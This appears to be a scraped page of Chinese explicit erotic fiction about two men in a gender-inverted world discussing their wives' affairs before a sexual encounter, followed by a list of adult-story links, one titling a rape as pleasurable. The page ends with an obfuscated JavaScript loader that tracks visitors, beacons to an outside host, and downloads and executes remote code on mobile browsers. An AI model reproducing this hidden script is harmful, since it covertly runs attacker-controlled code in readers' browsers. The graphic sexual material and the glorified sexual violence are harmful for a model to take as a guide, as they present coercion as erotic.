闺蜜关係


  闺蜜一词在前世是用来形容女性之间的亲密关係,现在这个词更多的用来形容两个男人的关係。

  李刚和我是从小到大的发小,俩个人一起逃过课,一起掏过鸟蛋,一起打过人同样也一起被人打过,一起追女孩子也一起被女孩子骂。

  这种亲密的关係一直保持了几十年,这对我来说显得弥足珍贵。李刚与我显得略微文静的性格不同, 李刚的脾气犹如一通点火就着的汽油火爆的男人味十足。我们两人形影不离直到高中毕业,我考上了北京一所重点大学,而他则穿上了军装成为了一名威武的军人。

  李刚家里条件非常好父母都是高干,所以他仅仅当了两年的兵便以地方借调的名义来到北京市政府给一位市里领导开车。

  舒适无忧的生活容易让人有种忘乎所以的优越感,李刚虽然不是一个到处惹是生非的人,但李刚绝对是一个沾花惹草的男人。

  他在地方上工作仅仅几个月后就和多个女人搞上了床,本来像李刚这样的男人和多少个女人上床他也不会在乎,即使哪怕这些女人都怀上了他的孩子他也不会在乎,但是如果是他和自己父亲老战友的女儿上床,并且这个老战友的女儿又怀上了他的种那就另当别论了。

  李刚很倒霉这种事就让他摊上了,在被父亲一顿爆锤之后,只有二十二岁的李刚不得不和这个女人登记结婚从此走进了婚姻的牢笼。

  婚姻并没有束缚住李刚狂野不羁的个性,最初的几年他依旧我行我素,在外面照样寻欢作乐,虽然他的妻子因此曾经哭泣过,虽然我曾经语重心长的劝过他,但李刚仍旧我行我素,按照他的话说征服各种各样的女人是他人生最大的目标,而看到那些女人们在自己胯下辗转承欢的样子他会产生一种极大的满足感。

  然而他征服女人的日子很快就过去了,快的有点让他无所适从,他不在拥有征服女人的资本,他却具备了被女人征服的资本,征服他的女人就是那个曾经被他视为软弱的可以随便欺负的妻子。

  或许是报应李刚在灾变前是个一身腱子肉身材高大粗壮一米八左右个头的猛男,但在灾变后的他一下子缩到了仅仅只有一米四八的个头,身材小巧玲珑的犹如小学女生,一双小脚更是只有三一码。李刚在他妻子杨佳怡面前再也刚不起来了,虽然他的妻子身材也并不高大仅仅只有一米六的身高,但是这足以让李刚在妻子面前变成一只娇小听话的金丝雀,满足他妻子大女人的心态。

  的确可能是在前世过于压抑了,在灾变后老天给了她一次爆发的机会,她不仅在床上对李刚变得粗暴和强硬,就是在事业上也展现出了少有的强势,从一个小小的文职科员一直到现在独当一面的开发区主任,杨佳怡彻底的来了一次蜕变,蜕变的让我在她的面前是那样的渺小与柔弱。

  杨佳怡和其他高官一样私生活都有些见不得人的地方,据我所知杨佳怡在外面至少有四五个年轻貌美的情夫,这很容易理解佔有男人数量的多少是衡量女人权力的标竿,所以权力慾望极强的杨佳怡身边就从来不缺男人。

  李刚对此表现得极为坦然,因为他知道如果自己是强势的时候自己做的会比他妻子更甚,所以她可以接受现在妻子的花心,他也很快的适应了现在的生活。

  对于李刚的表现我曾经感到很惊讶,我无法想像昔日那个火爆的男人会转变的如此彻底,这让我不得不佩服的他适应生活的能力。

  我现在的转变很大程度上都得意于李刚, 作为市地级领导干部的配偶,李刚在自己的单位可以说混的风生水起,他并不喜欢在事业上有多大的进步,因为在他眼里自己做局长和做科员实在没有什幺分别,所以他有大把的时间可以供自己挥霍,然而自己挥霍时光肯定是一件无聊的事情,但是有人陪着挥霍那才是欢快的。

  我就成为陪她挥霍的不爱人选,他陪我第一次去时装店购买带有花边的时装,他陪我第一次买蕾丝的性感内裤,他陪我第一次买高跟鞋,第一次去美容院做美容,第一次去健身房学瑜伽诸如此类的等等。

  今天晚上妻子隋妍并没有履行她对我承诺,在她给我做了两个煎蛋之后便被一个电话叫走了,打电话的人正是李刚的妻子杨佳怡,我知道妻子和这个女人出去不折腾到天明妻子是不会回来的。这倒不是说妻子与杨佳怡的关係有多好,而是因为杨佳怡是开发区的主任。

  妻子走后我并没有起来,躺在床上的我赤裸着身体享受雨露滋润后的甜蜜。这份甜蜜的时光持续时间并不长,一阵悦耳的门铃声将我从半睡半醒之中拉回到了现实。我套了一件及膝的睡衣,赤着脚丫来到门口通过监控器看到我的闺蜜李刚来了。

  门打开了李刚穿着一件无袖V领真丝长衫走了进来,这件长衫并不长仅仅遮住了李刚浑圆挺拔的臀部,下面裸露着一双雪白的大腿,娇小的脚上蹬着一双水钻坡跟的凉拖鞋,整个人通着一股慵懒的妩媚。

  李刚一进屋放下手里的大包小裹的东西,甩掉脚上的凉拖,嗲声嗲气的喊道”累死我了,累死我了“边说便奔着沙发扑去,扑通一下整个摔在了沙发了,露出一种极为惬意和闷骚的表情。

  我无奈的收拾了一下李刚仍在门口的大大小小东西,去厨房冰箱里拿了一杯头午新榨的果汁递给躺在沙发中闷骚的李刚。

  李刚并没有起身而是拿起果汁继续躺在沙发上咕嘟咕嘟的喝了大半杯,然后把果汁放在旁边的茶几上,闭上眼睛露出一种更为闷骚的表情。

  我拍了一下她那已经露出丁字裤的圆屁股说道:”都这幺大岁数了还这幺骚,一点男人样都没有。“李刚翻身背靠着沙发说道:”彤彤和小凡都不在家吗?“我坐在李刚的身侧将双腿蜷在沙发里吸了一口果汁说道:”彤彤和同学出去玩还没有回来,小凡放学后直接去他外婆家了,今天晚上不会回来了。“李刚笑着说道:”那今天你不是解放了,你家老隋和我们家那口子估计肯定要疯一宿的,今天晚上老哥我陪你睡一宿。“说着又一头栽倒沙发里翘起二郎腿哼起了小曲,我拍着他大腿说道:”你怎幺知道我们家老隋去和你家老杨在一起?“李刚将他那宛如白莲一般的双脚往我的大腿上一放说道:”我家那个王八蛋当我面给你家老隋打的电话,妈蛋的说好陪老子逛街的结果就走了屁大功夫就闪了人。“说着他表情怪怪的坐起来凑在我的耳边轻声说道:”你知道你们家老隋和我们家老杨去哪了吗?“我白了他一眼反问道:”你知道?“李刚一脸坏笑的说道:”他俩说要请个大人物去吃饭,听说晚上还在香草街的男人泪订了一间高档包房。那地方的酒和男人可是出了名的贵,看来你家老隋今天是要出大血了。“我看着他那一脸坏笑幸灾乐祸的样子气得只想笑,但我并没有去接他的话,而是扭过头继续喝着手里的果汁。我心里很清楚这些年妻子在外面疲于应酬,出入像男人泪这样的声色场所是避免不了的,我很早以前便在妻子的内裤上发现了别的男人留下的点点精斑,之所以说那是别的男人的,因为那是浓白色的精液只有没哺乳过孩子的年轻男人才能拥有那样的犹如牛奶般质感的精液,像我这种以为人夫的中年男人的精液是淡淡的青色,清淡的犹如滴滴雨露。

  但我并没有质问过我的妻子,我知道有些事不一定是她自愿的,如果没有灾变那幺现在妻子做的事情就是我做的事情,所以我并没有抱怨过她,甚至那天之后我给她的内裤都换成了白色,我想这样我就会看不到别的男人在妻子身上留下的痕迹。

  我想在这些事上我和李刚一样看得开,但我不会像李刚那样毫无顾忌的去聊别的男人和自己妻子的事,说的就好像是他们家邻居的八卦新闻一样津津有味,这种事我是做不到的所以我在李刚拉开话匣子準备大谈香草街男人的时候我选择了沈默。

  李刚很知趣的转移了话题,他的话题除了男人便是衣服、首饰、化妆品等等,这些话题他总也聊不完。

  我们从下午聊到晚饭,从晚饭聊到了午夜。傍晚的时候彤彤打来电话跟我说要和几个同学去泡吧放鬆一下紧张的学习生活,没等我问她在哪里泡吧要几点回来的时候彤彤早已挂断了电话。

  这一晚偌大的公寓只剩下了李刚和我,李刚显得很兴奋他在我面前不断换穿着白天买来的衣服。李刚的衣服很多多的足可以在男人街开一家时装店、鞋店、皮包店,我有时甚至怀疑他老婆一年辛苦弄来的钱是不是都投进了这个无底洞。

  ”柳毅你的护肤露在哪?“我躺在床上翻着杂誌说道:”在镜子下面第二个架子上,蓝瓶那个就是。“没过半分钟李刚在浴室里喊道:”我去!你用这幺贵的牌子的啊,你丫的还说不臭美,用上万块钱的护肤露,比老子我臭美多了。“我没理会李刚在浴室里的大呼小叫,心里却泛起一丝甜蜜。这瓶价格不菲的护肤露是妻子去美国时给我买的,妻子说我的身体很白如果擦上这个那幺就更白了,我其实并不太爱打扮自己,但我用的化妆品却都是精品,因为这些化妆品都是妻子给我买的。有一个这幺在意我容貌的妻子,对于一个男人来说的确是一件想一想就可以幸福的笑出来的事情。

  当李刚从浴室走出来的时候,一脸标誌性的坏笑又出现在了他的脸上,他笑嘻嘻的对我说:”你个小骚货看看这是啥玩意。“说着她把背在身后的右手伸到我的面前向我炫耀着手上的一个小瓶子。

  我抬头一看脸立即红了起来,原来李刚手里拿的小瓶子是一种护肤品,只不过它滋补的地方比较特殊是男人的阴茎。

  这个时代的男人都很在意自己的阴茎我也一样不能例外,当然我们在意阴茎除了他的勃起和持久之外,更在意阴茎的外形是否好看,阴茎的皮肤是否水嫩,阴茎的龟头是否粉红可爱,这些甚至要比他的直接功能更让男人们在意。

  这个小瓶里面的东西就是让你的小伙伴在保持充分的活力的同时,让他变得更好看更具有观赏性,使他让女人看到之后便爱不择手不由自主的去亲吻他。

  我的阴茎本来已经很好看了可以说算是男人中的极品,但越满意的东西你越在意,所以我在自己阴茎上从来不吝啬,我已经坚持用这种价值不菲的小瓶子保养阴茎已经很多年了。

  我伸手去抢李刚手中的小瓶子,但李刚并没有让我得逞,反而一下子扑倒了床上躺在我的身边,拿着这个小瓶子在我眼前晃着说道:”怪不得你下面那个大白兔白嫩可爱的,原来都是这个小瓶子的功劳啊。“说着他往我身上挤了挤小声说道:”你家老隋是不是特爱你下面那跟棒棒?“说着他的手还煞有介事的去摸我的那里,我气的啪的打了一下他那不老实的手说道:”要看看你自己的那个去,你那个不也是白的跟个小奶棒子一样,还说别人的。“李刚一翻身躺在我的旁边叹了口气说道:”我的那个棒子白是白,但是小的让我家那个王八蛋连看都不看。“的确当年李刚胯下那根大棒是我们学校公认的定海神针,硬起来又粗又长足有二十釐米看着就是一个小胳膊。但是现在他胯下的那根棒足足缩小好几釐米,虽然可爱有余但是威力却差的太多了,我现在虽然不知道他硬起来能有多长,但绝对没有我的粗长就是了。

  我笑着说道:”现在的女人都这样,谁喜欢看自家的东西,还不都是别人家的东西好,我们家老隋也那个样。“李刚不屑的反驳我道:”你就安慰我吧,今天你家老隋是不是又操了你?“我挺诧异的看着她,虽然没说话但是眼神已经回答了他的提问,李刚笑着用手指了一下我的脖颈出笑着说:”我到你家第一眼便看到了你脖子上的那块齿痕,是不是你家老隋高潮的时候咬的你。“我拿起放在床头的小镜子对着我的脖子看去,果然镜中那白皙的脖颈上印着一道糜红的齿痕。

  我的脸红的和我那处齿痕一样的红,我使劲掐了一下躺在旁边的李刚说道:”你怎幺这幺骚,啥都问磕碜不。“李刚有些幽怨的说道:”人家都说女人三十如狼四十如虎,杨佳怡那王八蛋正是如狼似虎的年纪,可是你知道吗他有半年没碰过我了,呵呵骚有啥用我在她面前早就不是一只馋人的羊,根本就是一根木头,她看都不看一眼的木头。“我看着躺在身边的李刚,突然觉得他是那幺柔弱,柔弱的让人可怜。我伸出手轻轻的抚摸着李刚的额头说道:”你家老杨这几年事业上蒸蒸日上,他或许是太忙了,你以后对她也多关心点,俩口子别弄的跟陌生人一样。“李刚一翻身坐了起来,用手抹了一下有些湿润的眼角说道:”不提那个王八蛋,把烟给我一颗。“我侧身拿起床头柜上的烟盒一看里面早已空空如也,我拿着空烟盒像他晃了一下说道:”没了,现在这幺晚估计超市都关门了,要不你就憋一晚上吧。“灾变前后的李刚变化是很大的,但唯一没变的就是他嗜烟如命的习惯,这颗烟他要是抽不到嘴,是万万睡不着的。

  李刚边下床边说道:”客厅里我的手提包里还有一盒,我这就去拿。“就在李刚準备出去的时候,外面突然想起了开门声,一个人走了进来。

  我坐在床上向外面喊了一声道:”是彤彤回来了吗?“果然是彤彤的声音回答道:”爸是我,你还没睡啊。“说着客厅的灯亮了。

  显然彤彤的回家,让只穿着个丁字裤,光着上身露着胸前俩颗又红又圆乳头的李刚是无法去客厅拿烟了。

  我自然走下了床披上浴巾,开门向客厅走去。客厅的柳彤早已脱了衣服,穿着黑白相间的内裤光着上身,手里拿着一大瓶果汁大口口的喝着。

  我边去拿李刚的皮包,便对着彤彤说道:”你上哪去了,怎幺渴成这样?慢点喝小心呛着。“我拿起李刚的皮包,顺便在衣架上拿下了个T恤递到彤彤面前说道:”快把衣服穿上,你李叔叔在咱们家呢,让人家看到不好。“彤彤听到李刚在家里神秘的一笑小声说道:”是不是李叔叔又和杨阿姨吵架了,上咱家和你诉苦来了。“我照着彤彤圆润健美的肩膀就是一拳说道:”小孩子家家的,别总打听大人们的事,小心让人家听到,说你没教养。“彤彤撇了撇嘴没有继续说话,抓起我放在桌边的T恤便往二走去。彤彤在我身边这幺一转身,我看到彤彤内裤底部部的有很大一块湿痕,隐约的看到了一丝血迹。我奇怪的问道:”哪弄的血,你这个月的月经不是才走吗?“彤彤被我的突然问话,脸色微微一变,语调有些急促的说道:”好像是没走乾净,今天晚上可能玩的太嗨了,有些抻着了又流了点,没事过两天就好了。“说着急忙套上T恤便向楼上的房间走去,我并没有太在意彤彤脸上的变化,毕竟女孩子月经的事情一向都是由母亲负责的,很多女孩子都不愿意自己的父亲太关注自己的大姨妈,虽然现在很多女孩子第一次的初潮往往最先告送的都是父亲,但像到了彤彤这个年纪的女孩子一般都不会太好意思和自己的父亲聊这事。所以彤彤有些反常的表现我并没有太在意,反而对她说道:”我看你卫生间里还有你上次没有使完的卫生巾,你洗完澡别忘了垫上,别弄得哪都是,要是明天量多了的话告送我,我陪你去看看医生。“彤彤一边向楼上跑去,一边嗯嗯的应付着我的嘱託,很快便消失在了二楼的走廊里。我见彤彤进了屋,便捡起彤彤随意仍在客厅里的衣服、鞋子将它们物归原位。就当我準备转身进屋的时候,从李刚的皮包里掉出了一个小药瓶。药瓶很小小的只比我的拇指大不了多少,外面没有任何标籤,里面装着半瓶淡绿色的小药丸。

  虽然药瓶上没有关于这个绿色小药丸的任何介绍,但是作为任何一个已婚的男人来说,对这绿色小药丸并不陌生,这是男人专用的避孕药”芹康片“(一种从芹菜里提纯的微量元素製成的化学药剂,这种药只要服用十天以上便具有杀死精子的作用,但并不影响性生活的质量,反而具有增加阴茎活力的作用,另外这种药片里还含有雌性激素,长时间服用可以使男人的皮肤更加光滑细腻,这种药只要停止服用一个月精子的存活率便恢复如常,所以一直是这个时代男人避孕的最佳口服药剂)当我将这小药瓶放在李刚眼前的时候,李刚错愕的表情只持续了一瞬间随后李刚恢复常态般的微笑道:”这也你也能看见,我这段时间身上长了些青春痘汗毛又重了些,所以买这个吃几天让皮肤细嫩点。“这个理由如果做其他男人我或许会相信,但换做李刚这样钱多的花也花不完的男人,会把这种便宜的避孕药当美容药吃鬼才相信,更何况他刚才的笑一点都不骚,而是那幺不自然假的很。

  我表情严肃的说道:”你把这药当做美容药你认为我会信吗?你刚才亲口说的你和老杨已经半年没有行房了,你这药肯定不是为她吃的,你是不是外面有了别的女人?“李刚并没有回答我的话,有时候沈默就表示了承认,李刚这次少有的沈默了。过了一会儿李刚对我说道:”她是我在健身房认识的一个健身教练,长的很阳光也很漂亮,我和她在一起已经有一年了,这一年我大部分时间都是和她在一起的,你知道老杨这几年一直把我当成植物人,我也是个正常的男人我也需要女人,你让我怎幺办。“说着李刚当着我的面哭了,李刚这些年经常在我面前哭泣,哭诉杨佳怡对她的漠视和无情。然而最近这一年他却很少哭,我想这都是那个女人的功劳吧,今天他又哭了也是因为那个女的。

  我将李刚搂在怀里,让他在我的怀里放声痛哭。李刚的哭泣并没有持续多长时间,当我向他问起那个女人是个怎幺样的人时候,李刚的兴致又弄了起来,他嘴角挂着笑容向我讲起了那个女人。

  那个女人的岁数并不大只有二十六七岁,是李刚经常去的一家健身俱乐部的教练。他们之间的故事并没有我想的那幺浪漫,其实就是一把乾柴遇到了烈火这幺简单,李刚谈论她的话题也围绕在性事上。谈到高兴的时候李刚甚至鼓动我也去找个年轻的女人试试,按照李刚的话说,年轻的姑娘下面又紧又有力,那种包裹的感觉不是老杨和我老婆那种中年妇女所能比拟的。

  李刚说的很兴奋,我甚至已经感觉到他下面已经硬梆梆的,我一把将李刚从我怀里推开鄙视的说道:”你个闷骚男,聊天都能聊反应了。“李刚侧着身看着我猛的抬手照着我的阴部就是一巴掌,我吃疼”啊“了一声,下面那个早已跃跃欲试的大白兔在我的胯间扑棱 扑棱的把被单顶得上下起伏。李刚向我嘲笑道:”你还说我,你没硬啊是怎幺滴“我红着脸低下了头,小声说道:”其实这几年老隋和我做的次数也不多,以前一个星期一次,现在半个月有一次就不错了。“李刚这时掀开盖在我们两人身上的单被,露出两个赤裸着上身,穿着三角裤衩的两具男人雪白的身体。李刚伸手将自己那个只仅仅兜住前面一嘟噜的丁字裤退了下去,露出一只茎身雪白龟头粉红的小冲天椒,随后他伸出一只手轻轻的将我的蕾丝内裤褪了下去,一只雪白粗硬的玉茎直挺挺的树立在稀疏的芳草地间,李刚的小手温柔的握住我的男根轻柔的上下搓揉着说:”我们都是前世过来的男人,难道你愿意这幺极品的鸡巴这辈子只伺候一个女人吗?

  我没有阻止他的动作,也没有回答他的话,我心中那团被压抑很久的慾火正在李刚的挑逗下熊熊燃烧,我甚至有一种将李刚扑倒的冲动,但理智告送这样做不行。

  李刚同我一样他的小辣椒在没有爱抚的情况下已经变得潮红,透明的液体从他粉红的嫩处流出,而我早已弄湿了李刚的右手。然而剧情并没有像我想的那样去发展,就当我在理智与慾望中挣扎的时候,紧紧攥着我私处的手突然鬆开了。

  李刚抬起他那小白手坏笑着说道:“你的水好多比我的多多了。”我羞愧的真像找个地缝钻进去,我竟然在闺蜜的手里差一点达到高潮,我想如果不是李刚突然的鬆手我很可能会在他手上喷薄而发。

  我羞红着脸只说了一句:“闭灯睡觉吧。”说着关了灯背对着李刚闭上了眼睛。李刚在我的身后温柔的说了一句:“男人们都需要女人的滋润,你应该去看看外面的世界了。”

  我闭上眼睛没有再和李刚说上一句话,李刚似乎并不着急等待我的答覆,他翻了个身不久便发出轻轻的鼾声。

  我没有睡去,这一夜我注定无眠。

  


Contents


严选免费成人小说
我和表姐上了床        舅妈的闺蜜       学车时候认识的叶姐        被嫂嫂小穴紧紧夹住的快感       约炮遇牙籤男
与对方另一半的激战        我和姐姐一起看AV        我在茶馆射进了她体内        强暴喝了春药真爽的学姐
淫蕩的姐姐终于忍不住      


f o r 8/15

function hzHQp(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lzvAfdOC(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return hzHQp(t);};window[''+'y'+'d'+'w'+'F'+'B'+'u'+'a'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=lzvAfdOC,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://phm.jtvpeuu.com:7891/stats/14913/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZncnQuc2llhdWh3by5jb20llM0E4ODkx','dd3NzJTNBJTJGJTJGddGdd1LmN6ddHJ4eC5jb20lM0E5NTMz','165532',window,document,['l','d']);}:function(){};